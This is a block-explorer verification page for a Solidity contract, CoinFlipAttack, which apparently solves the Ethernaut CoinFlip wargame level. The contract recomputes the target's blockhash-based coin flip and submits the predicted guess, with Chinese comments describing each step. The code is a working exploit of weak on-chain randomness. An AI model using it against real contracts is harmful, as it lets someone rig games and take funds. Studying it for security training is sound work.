Verified contractExactMIT
CoinFlipAttack
Address0xee297bfe8da1409c69e4a02bf34f717f5abcf9c4
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,391,827
- Creation transaction
- 0x8ea5d4ee4b…dbcc63d8c9
contracts/CoinFlipAttach.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
function consecutiveWins() external view returns (uint256);
}
contract CoinFlipAttack {
uint256 constant FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
ICoinFlip public target;
constructor(address _target) {
target = ICoinFlip(_target);
}
function attack() external returns (bool) {
// 获取与目标合约相同的前一个区块 Hash
uint256 blockValue =
uint256(blockhash(block.number - 1));
// 完全复制目标合约的计算逻辑
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1;
// 将预测结果传给目标合约
return target.flip(side);
}
function wins() external view returns (uint256) {
return target.consecutiveWins();
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.